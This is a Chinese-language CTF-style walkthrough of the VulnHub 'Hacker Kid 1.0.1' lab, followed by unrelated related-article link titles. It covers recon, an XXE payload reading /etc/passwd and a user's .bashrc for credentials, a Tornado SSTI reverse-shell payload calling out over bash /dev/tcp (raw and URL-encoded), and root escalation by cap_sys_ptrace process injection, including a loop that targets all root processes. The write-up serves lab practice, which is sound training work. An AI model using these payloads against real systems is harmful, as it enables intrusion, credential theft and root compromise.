准备:

攻击机:虚拟机kali、本机win10。

靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova,下载后直接vbox打开即可。

知识点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.240。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.240,显示开放了53、80、9999端口,开启了http服务。

web服务-信息收集:

打开web界面,提示信息告诉我们使用dig(域名查询工具)去继续挖掘。

在其源代码信息中看到提示信息:Use a GET parameter page_no to view pages,告诉我们使用page_no参数来访问当前页面。

使用page_no(根据参数名猜测参数应该是页数)参数访问当前页面:http://192.168.5.240/?page_no=1,获得返回提示信息。使用bp得爆破模块当page_no=21时,获得提示信息,告诉我们一个域名:hackers.blackhat.local。

结合刚才让我们使用dig继续挖掘得信息,这里配合域名:hackers.blackhat.local进行挖掘,命令:dig hackers.blackhat.local @192.168.5.240,发现新的域名:hackerkid.blackhat.local。

在本机和kali中配置下dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件进行配置,配置信息如下。

192.168.5.240 hackers.blackhat.local
192.168.5.240 blackhat.local
192.168.5.240 hackerkid.blackhat.local

xxe漏洞:

配置完成后访问:http://hackerkid.blackhat.local/出现一个注册界面,但是注册时一直显示邮箱存在问题。

使用bp进行抓包分析,发现数据是以xml格式发送得数据,那猜测这里可能存在xxe注入,测试xxe注入读取下/etc/passwd文件,发现账户名:saket。

<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。

ssti漏洞:

使用获得账户名和信息在:http://192.168.5.240:9999/进行登录,但是:admin/Saket!#$%@!!登录失败,然后尝试了下/etc/passwd文件中发现得saket账户进行登录,登录成功。

提示信息告诉我们需要告诉他我们得名字,尝试输入参数?name=saket,结果返回hello saket。

结合nmap扫描出来的信息知道这里是tornado框架,因此猜测这里可能存在ssti注入,测试:192.168.5.240:9999/?name={{3*3}},代码被执行,因此这里存在ssti注入漏洞。

获取shell:

利用ssti注入反弹shell,因为这里项目搞完去了下一个地方,换了酒店,所以ip地址发生了改变,命令如下:

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}}

url编码后:
%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F172%2E18%2E8%2E120%2F6688+0%3E%261%22%27%29%7D%7D

提权:

通过命令:find / -perm -4000 -type f 2>/dev/null,来查找下可以用来提权的信息,发现了/usr/lib/policykit-1/polkit-agent-helper-1,当时利用polickit的两个漏洞进行提权均是失败,前面文章有说过这两个漏洞。

上传LinEnum.sh脚本进行信息收集,脚本:https://pan.baidu.com/s/1fkL1bN0xDw0r5xb3a62qCQ,提取码:upfn,在收集的信息中发现在历史命令中利用python2.7执行力一个脚本,然后使用nc开启了一个端口监听,注意这里执行的命令,后面是关键。

那就收集下和python2.7有关的信息,命令:./LinEnum.sh | grep python2.7,

发现python2.7具有cap_sys_ptrace+ep权限,那我们可以利用python具备的cap_sys_ptrace+ep能力将root权限的进程注入python类型shellcode以实现权限提升。下面两种提权方式原理一样。

提权方式一:

利用历史命令中发现的执行命令信息,执行命令:ps -eaf | grep root来找寻root进程,然后使用命令:python2.7 exp.py 784来进行进程注入,然后在本地使用nc进行5600端口的连接,成功获得root权限。exp.py脚本信息:git clone https://gitee.com/Re1-zf/shell.git。

提权方式二:

编写脚本对root进程批量尝试。

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

然后查看下5600端口是否开启监听状态,然后在本地使用nc进行5600端口的连接,成功获得root权限。

vulnhub靶场之HACKER KID: 1.0.1的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. 7.RabbitMQ系列之topic主题交换器

    topic主题交换器它根据在队列绑定的路由键和路由模式通配符匹配将消息路由到队列. 生产者在消息头中添加路由键并将其发送到主题交换器. 收到消息后,exchange尝试将路由键与绑定到它的所有队列的绑 ...

  2. GitHub Pages 和 Jekyll 笔记

    GitHub Pages 和 Jekyll 笔记 快速创建(使用默认的Jekyll引擎) 1. 新建仓库 新建一个空仓库, 名称为username.github.io, 其中 username 就是你 ...

  3. 如何规范App广告的隐私获取,让用户拥有更多知情权?

    随着互联网的不断普及,越来越多老百姓使用智能设备触达互联网.但用户经常发现自己无意间提到的东西,打开App就收到相关产品的广告推送,甚至有人怀疑手机App是通过麦克风来窃取自己平时聊天信息中的关键词进 ...

  4. Redis 先操作数据库和先删除缓存, 一致性分析

    初始状态: 数据库和缓存中v=10 第一种,先删除缓存在操作数据库: 线程1准备更新数据库的值v=20,先删除缓存, 此时线程2进来, 缓存未命中,查询数据库v=10, 写入缓存v=10, cpu回到 ...

  5. 【lwip】10-ICMP协议&源码分析

    目录 前言 10.1 ICMP简介 10.2 ICMP报文 10.2.1 ICMP报文格式 10.2.2 ICMP报文类型 10.2.3 ICMP报文固定首部字段意义 10.3 ICMP差错报告报文 ...

  6. pinpoint:查看hbase表和修改数据过期时间

    先做个记录,监控数据量过大时可以设置表的数据过期时间来清理数据. 1. 查找本地数据表大小 [root@ZWZF-CWY-LZY-12 ~]# cd /home/pinpoint/hbase/data ...

  7. PXE批量装windows(半自动版本)

    一.  环境说明: 客户端:CPU:双核 内存:4GB 内存 80GB   ip地址:DHCP 服务端1:CPU:双核 内存:1GB 内存 20GB   ip地址:192.168.40.254     ...

  8. 支持 equals 相等的对象(可重复对象)作为 WeakHashMap 的 Key

    原文地址 代码地址 问题 长链接场景下通常有一个类似 Map<String, Set<Long>> 的结构,用来查找一个逻辑组内的哪些用户,String 类型的 Entry.k ...

  9. Pthread 并发编程(三)——深入理解线程取消机制

    Pthread 并发编程(三)--深入理解线程取消机制 基本介绍 线程取消机制是 pthread 给我们提供的一种用于取消线程执行的一种机制,这种机制是在线程内部实现的,仅仅能够在共享内存的多线程程序 ...

  10. layui table表格使用table.resize()方法 重置表格尺寸

    解决 使用layui中的table表格重置表格尺寸 问题 表格的高度共有两种写法 相对应的就有两种解决方法 第一种 当表格高度设置为固定高度时,改变表格高度使用 tableIns=table.rend ...